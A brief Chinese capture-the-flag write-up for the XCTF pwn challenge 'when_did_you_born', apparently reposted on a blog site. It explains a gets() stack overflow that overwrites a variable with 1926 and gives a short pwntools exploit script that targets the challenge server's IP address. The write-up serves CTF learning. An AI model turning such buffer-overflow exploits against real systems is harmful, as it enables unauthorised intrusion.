[攻防世界 pwn]——when_did_you_born

• 題目地址: https://adworld.xctf.org.cn/
• 題目:
  
  checksec看下 64位
  
  IDA中，只要v5最初不是1926,之后改為1926就可以了。利用gets棧溢出就好v4與v5相差0x20 -0x18
  
  

exploit

from pwn import * #p = process("./pwn") p = remote("111.200.241.244",58101) p.sendlineafter("What's Your Birth?\n", '2001') payload = 'a' * 8 + p64(0x786) p.sendlineafter("What's Your Name?", payload) p.interactive()

總結(jié)

以上是生活随笔為你收集整理的[攻防世界 pwn]——when_did_you_born的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。